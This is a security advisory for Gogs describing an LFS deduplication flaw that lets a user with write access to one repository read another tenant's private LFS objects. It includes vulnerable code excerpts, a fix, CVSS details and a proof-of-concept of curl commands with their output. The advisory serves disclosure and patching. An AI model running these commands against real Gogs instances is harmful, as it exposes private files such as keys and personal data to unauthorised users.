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Gogs: LFS dedupe path leaks private repo content across tenants

High severity GitHub Reviewed Published Jun 19, 2026 in gogs/gogs • Updated Jul 21, 2026

Package

gomod gogs.io/gogs (Go)

Affected versions

< 0.14.3

Patched versions

0.14.3

Description

Summary

Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.

Details

Dedupe shortcut at internal/lfsx/storage.go:79-82:

if fi, err := os.Stat(fpath); err == nil {
    _, _ = io.Copy(io.Discard, rc)
    return fi.Size(), nil          // ← returns success with no hash check
}

Hash verification at internal/lfsx/storage.go:106-108 only runs in the new-file branch — the dedupe path returns earlier.

serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:

_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())

CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.

serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.

Suggested fix

  1. In LocalStorage.Upload, when os.Stat(fpath) == nil, hash the request body via io.TeeReader and ErrOIDMismatch on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
  2. Optional second layer: in serveUpload, refuse CreateLFSObject unless the OID is referenced by an LFS pointer in the requesting repo's refs.

PoC

Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).

Reproduction prerequisites

  • Running gogs ≥ 0.12.0 with [lfs] ENABLED = true.
  • Two accounts: alice (private repo secrets) and bob (any repo bob/scratch); bob has no access to alice/secrets.
  • An OID known to be present in alice/secrets — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).

Setup (testbed simulation of the victim's prior state)

GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'

VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)

# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"

Attack — bob has only $OID, not $VICTIM_BYTES

unset VICTIM_BYTES   # attacker has no idea what the file contains

# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
  -H 'Accept: application/vnd.git-lfs+json' \
  -H 'Content-Type: application/vnd.git-lfs+json' \
  -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
  --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}

# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
#    so LocalStorage.Upload takes the dedupe shortcut: drains the body
#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary 'irrelevant attacker-controlled bytes' \
  "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK

# 3. Download via bob's repo — gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly

Independent confirmation against the source

git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322

sed -n '63,114p' internal/lfsx/storage.go      # dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go   # serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go  # composite (RepoID, OID) PK — multiple repos can share an OID row

Impact

  • Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
  • LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.
  • Persistent: the (bob/scratch, OID) row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.

References

@unknwon unknwon published to gogs/gogs Jun 19, 2026
Published to the GitHub Advisory Database Jun 23, 2026
Reviewed Jun 23, 2026
Published by the National Vulnerability Database Jun 24, 2026
Last updated Jul 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-52812

GHSA ID

GHSA-6p9m-q3jp-47h4

Source code

Credits

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